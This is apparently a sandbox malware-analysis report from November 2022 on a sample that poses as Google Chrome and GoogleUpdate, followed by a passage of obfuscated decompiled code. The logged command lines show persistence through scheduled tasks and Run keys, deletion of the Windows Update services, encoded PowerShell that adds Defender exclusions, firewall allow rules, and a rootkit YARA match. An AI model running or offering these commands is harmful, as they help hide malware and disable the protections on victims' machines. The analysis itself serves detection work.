Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 1848, Parent PID: 3196

General

Target ID:	28
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xb30000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5520, Parent PID: 4420

General

Target ID:	29
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 484, Parent PID: 1848

General

Target ID:	30
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4604, Parent PID: 1332

General

Target ID:	31
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1392, Parent PID: 1332

General

Target ID:	32
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5832, Parent PID: 4604

General

Target ID:	33
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6092, Parent PID: 1332

General

Target ID:	34
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Imagebase:	0x7ff79b370000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000022.00000002.562595624.000001FA7D180000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000022.00000002.567019472.000001FA7DC50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5892, Parent PID: 1392

General

Target ID:	35
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5708, Parent PID: 4604

General

Target ID:	36
Start time:	16:57:44
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff6ad1e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5724, Parent PID: 6092

General

Target ID:	37
Start time:	16:57:44
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5852, Parent PID: 3196

General

Target ID:	38
Start time:	16:57:44
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Imagebase:	0xb30000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 4304, Parent PID: 1392

General

Target ID:	39
Start time:	16:57:44
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff724ca0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6032, Parent PID: 5852

General

Target ID:	40
Start time:	16:57:44
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6012, Parent PID: 1080

General

Target ID:	41
Start time:	16:57:45
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0xf40000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5340, Parent PID: 4604

General

Target ID:	42
Start time:	16:57:47
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff6ad1e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 1916, Parent PID: 3196

General

Target ID:	43
Start time:	16:57:48
Start date:	24/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0x970000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 1504, Parent PID: 1392

General

Target ID:	44
Start time:	16:57:50
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff724ca0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5388, Parent PID: 4604

General

Target ID:	45
Start time:	16:57:50
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff6ad1e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 5376, Parent PID: 1392

General

Target ID:	46
Start time:	16:57:51
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff724ca0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 680, Parent PID: 4604

General

Target ID:	47
Start time:	16:57:51
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff6ad1e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 612, Parent PID: 1392

General

Target ID:	48
Start time:	16:57:52
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff724ca0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 1408, Parent PID: 4604

General

Target ID:	49
Start time:	16:57:52
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff6ad1e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4960, Parent PID: 4604

General

Target ID:	50
Start time:	16:57:53
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Imagebase:	0x7ff6fc460000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 848, Parent PID: 3196

General

Target ID:	51
Start time:	16:57:54
Start date:	24/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0x970000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4720, Parent PID: 4604

General

Target ID:	52
Start time:	16:57:54
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Imagebase:	0x7ff6fc460000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 1004, Parent PID: 4604

General

Target ID:	53
Start time:	16:57:55
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Imagebase:	0x7ff6fc460000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 4512, Parent PID: 4604

General

Target ID:	54
Start time:	16:57:56
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Imagebase:	0x7ff6fc460000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5708, Parent PID: 4604

General

Target ID:	55
Start time:	16:57:57
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff6fc460000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5912, Parent PID: 6012

General

Target ID:	56
Start time:	16:57:59
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Imagebase:	0x13a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2384, Parent PID: 1080

General

Target ID:	57
Start time:	16:57:59
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0xf40000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 3776, Parent PID: 848

General

Target ID:	58
Start time:	16:58:00
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Imagebase:	0x10f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5488, Parent PID: 6012

General

Target ID:	59
Start time:	16:58:01
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Imagebase:	0x13a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4304, Parent PID: 5912

General

Target ID:	60
Start time:	16:58:01
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 4892, Parent PID: 848

General

Target ID:	61
Start time:	16:58:01
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x10f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4980, Parent PID: 3776

General

Target ID:	62
Start time:	16:58:01
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: cfBJlHsOsz.exePID: 2572, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	16.8%
Dynamic/Decrypted Code Coverage:	2%
Signature Coverage:	12.2%
Total number of Nodes:	1024
Total number of Limit Nodes:	18

Executed Functions

Function 00405610 Relevance: 52.7, APIs: 22, Strings: 7, Instructions: 1984
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00405610() {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				short _v24;
				char* _v28;
				intOrPtr _v32;
				signed int _v36;
				signed char* _v40;
				void* _v44;
				void* _v48;
				char _v49;
				signed int _v56;
				signed int _v60;
				unsigned int _v64;
				signed int _v68;
				signed int _v72;
				signed char* _v76;
				void* _v80;
				intOrPtr* _v88;
				signed int* _v92;
				intOrPtr _v96;
				long _v100;
				signed short* _v104;
				signed int _v105;
				void* _v112;
				signed int* _v116;
				intOrPtr _v120;
				signed int _v121;
				signed int _v128;
				intOrPtr* _v132;
				void* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				signed int _v153;
				intOrPtr _v160;
				signed int _v164;
				intOrPtr _v172;
				char _v176;
				signed int _v177;
				signed int _v184;
				short _v188;
				signed int _v192;
				signed int* _v196;
				signed int _v197;
				char _v204;
				intOrPtr* _v208;
				signed short* _v212;
				void* _v216;
				long _v220;
				intOrPtr _v224;
				short _v228;
				intOrPtr _v232;
				intOrPtr* _v236;
				signed int* _v240;
				signed int _v244;
				signed int* _v248;
				char _v249;
				signed int _v256;
				signed int* _v260;
				long _v264;
				signed int _v268;
				intOrPtr _v272;
				signed char* _v276;
				signed int _v277;
				void* _v284;
				signed int _v288;
				intOrPtr _v292;
				signed int _v296;
				signed int _v300;
				signed int* _v304;
				void* _v308;
				signed char* _v312;
				intOrPtr _v316;
				short _v320;
				long _v324;
				signed short* _v328;
				signed int _v329;
				signed int _v336;
				signed int _v340;
				signed int* _v344;
				intOrPtr _v348;
				signed int _v352;
				intOrPtr _v356;
				signed int _v360;
				signed int _v364;
				void _v365;
				signed int _v366;
				signed int _v372;
				void* _v376;
				int _v380;
				char* _v384;
				signed int _v388;
				signed int _v392;
				struct _CRITICAL_SECTION _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				char _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _t1166;
				signed char* _t1217;
				signed char* _t1241;
				signed char* _t1253;
				signed char* _t1262;
				signed char* _t1323;
				signed char* _t1327;
				void* _t1339;
				char* _t1406;
				signed int _t1495;
				signed int _t1503;
				signed char* _t1505;
				signed char* _t1580;
				signed char* _t1591;
				void* _t1597;
				signed int _t1622;
				signed char _t1630;
				signed char* _t1651;
				signed char* _t1667;
				signed char* _t1670;
				signed char* _t1685;
				signed char* _t1695;
				signed char* _t1703;
				signed char* _t1713;
				signed char* _t1716;
				signed char _t1719;
				signed char* _t1724;
				signed char* _t1768;
				signed char _t1770;
				signed char _t1773;
				short* _t1819;
				signed int _t1836;
				signed char* _t1839;
				signed int _t1846;
				signed int _t1850;
				signed char* _t1959;
				signed int _t1971;
				signed int _t1984;
				signed char* _t1998;
				signed char* _t2003;
				signed char* _t2004;
				signed char* _t2009;
				signed int _t2057;
				signed int _t2097;
				signed char* _t2111;
				signed char* _t2194;
				signed char* _t2208;
				signed char* _t2221;
				signed int _t2227;
				signed char* _t2261;
				signed int _t2308;
				short* _t2321;
				signed char* _t2334;
				signed char* _t2341;
				signed char* _t2374;
				signed char* _t2401;
				signed char* _t2412;
				signed char* _t2429;
				signed char* _t2479;
				void* _t2511;

				_v177 = 0x17;
				_v348 = 0x5011;
				_v296 = 0xda4;
				_v428 = _v296 & 0x0000ffff;
				if(_v428 == 0xda4) {
					if(_v177 > 0x65) {
						L81:
						_v296 = _v296 & 0x3d7;
						_v177 = _v177 >> 4;
						_v296 = _v296 & 0x0000ffff ^ 0x00000bb9;
						E00407970(_v296, 0x15, 0xd, _v177 & 0x000000ff, 0xab);
						goto L83;
					}
					_v192 = 0x5d5;
					_v277 = 0xa0;
					_v432 = _v177;
					if(_v432 == 0x17) {
						 *0x41b004 = _v192 - 0x358;
						_v148 = 0x4ef4;
						_v365 = _v277;
						_v72 = 0x74a1;
						_v164 = _v72;
						_v300 = _v296;
						_v153 = _v365;
					} else {
						if(_v432 == 0x6d) {
							_v296 = _v296 & 0x0000ffff | 0x00000c98;
							_v277 = (_v277 & 0x000000ff) << 5;
							E004079A0(_v192, _v177, _v177 & 0x000000ff, 0x2e);
						}
					}
					 *0x43e208 = 0x7f9d;
					_v32 = 0xad05;
					_t1622 =  *0x43e208; // 0xffff8063
					_v36 = _t1622;
					_v272 = 0x6caf;
					if((_v365 & 0x000000ff) + (_v153 & 0x000000ff) >= (_v277 & 0x000000ff)) {
						_v420 = _v72;
						_v436 = _v36;
						if(_v436 == 0x7f9d) {
							_t1166 =  *0x43e208; // 0xffff8063
							_v392 = _t1166;
							 *0x41b006 = (_v277 & 0x000000ff) - (_v153 & 0x000000ff);
							do {
								_v164 = _v72 & _v420;
								_v420 = _v164 - _v72;
								_v392 = _v36 +  *0x43e208;
								_v153 = (_v365 & 0x000000ff) - (_v277 & 0x000000ff);
								_v420 = _v72 + _v164;
								_v420 = _v164 | _v72;
								_t1630 =  *0x43e208; // 0xffff8063
								_v36 = _v392 << _t1630;
								_v164 = _v72 >> _v420;
								_v192 =  *0x41b004 ^ 0x000006cc;
								_v177 = _v177 & 0x00000012;
								_v300 = (_v296 & 0x0000ffff) + 0xc28;
								_v365 = (_v153 & 0x000000ff) - (_v277 & 0x000000ff);
								_v36 = _v392 -  *0x43e208;
								_v348 = _v348 - 0xe2;
								_v164 = _v72 + _v420;
								_v44 = GetCurrentThread();
								_v365 = (_v153 & 0x000000ff) - (_v277 & 0x000000ff);
								 *0x41b006 = _v277 & 0x000000ff & _v365 & 0x000000ff;
								_v36 = _v392 +  *0x43e208;
								_v420 = _v72 - _v164;
								_v36 = _v392 +  *0x43e208;
								_v300 = (_v296 & 0x0000ffff) << 0xb;
								_v277 = (_v153 & 0x000000ff) >> (_v365 & 0x000000ff);
							} while (_v348 > 0x25b1);
							_v440 = _v192;
							if(_v440 == 0x3e) {
								 *0x41b004 = _v192 | 0x00000770;
								_v177 = _v177 ^ 0x0000000b;
								_v153 = _v277 & 0x000000ff & _v365 & 0x000000ff;
								_t2097 =  *0x43e208; // 0xffff8063
								_v392 = _t2097 - _v36;
								E004078B0(_v72, _v72);
							} else {
								_v72 = _v420 + _v164;
								_v360 = _v72;
								_v360 = _v72 - _v420;
								 *0x41b007 = _v177 + 0x3a;
								if((_v296 & 0x0000ffff) + 0xeed == (_v300 & 0x0000ffff)) {
									_v420 = _v72 & _v164;
								} else {
									_v12 = _v300;
									_t1597 = CreateFileW(L"Dd7\\fZ\\QcW\\isu", 0x80000000, 1, 0, 4, 0x80, 0); // executed
									_v48 = _t1597;
									_v197 = _v153;
									_v388 = _v36;
									_v360 = _v72 * _v420;
								}
							}
							_v56 = _v392;
							__imp__AssignProcessToJobObject(0, 0);
							_v153 = (_v197 & 0x000000ff) - (_v277 & 0x000000ff);
							_v356 = 0x82a0;
							asm("cdq");
							_v12 = (_v296 & 0x0000ffff) / (_v300 & 0x0000ffff);
							_v312 =  &_v177;
							 *0x43e200 = 0x41b006;
							_v104 =  &_v192;
							do {
								_v392 = _v56 << _v388;
								_v72 = _v164 | _v420;
								_t1651 =  *0x43e200; // 0x41b006
								_v197 =  *_t1651 & 0x000000ff ^ _v277 & 0x000000ff;
								_v296 = (_v300 & 0x0000ffff) >> (_v12 & 0x0000ffff);
								_v360 = _v72 + _v164;
								_v388 = _v56 & _v36;
								 *_v104 =  *_v104 - _v192;
								_t2111 =  *0x43e200; // 0x41b006
								 *_t2111 = (_v153 & 0x000000ff) + (_v365 & 0x000000ff);
								 *_v312 =  *_v312 -  *0x41b007;
								_v197 = (_v277 & 0x000000ff) + (_v365 & 0x000000ff);
								_v56 = _v388 - _v36;
								_v420 = _v164 + _v360;
								_v420 = _v72 - _v360;
								_v72 = _v420 & _v360;
								_v360 = _v72 ^ _v420;
								_v192 =  *0x41b004 <<  *_v104;
								 *0x41b007 =  *_v312 | _v177;
								_t1667 =  *0x43e200; // 0x41b006
								_v365 = ( *_t1667 & 0x000000ff) >> (_v153 & 0x000000ff);
								_v300 = (_v12 & 0x0000ffff) + (_v296 & 0x0000ffff);
								_v388 = _v56 + _v36;
								_v36 = _v56 &  *0x43e208;
								_t1670 =  *0x43e200; // 0x41b006
								_v277 = ( *_t1670 & 0x000000ff) - (_v365 & 0x000000ff);
								 *_v312 = _v177 +  *0x41b007;
								_v164 = _v72 - _v360;
								_v392 = _v56 + _v36;
								_t1217 =  *0x43e200; // 0x41b006
								 *0x41b006 = ( *_t1217 & 0x000000ff) - (_v153 & 0x000000ff);
								_v164 = _v420 + _v360;
								_v12 = (_v300 & 0x0000ffff) - (_v296 & 0x0000ffff);
								_v277 = ( *0x41b006 & 0x000000ff) + (_v365 & 0x000000ff);
								_v56 = _v392 | _v36;
								_v420 = _v164 << _v72;
								_v177 =  *_v312 ^  *0x41b007;
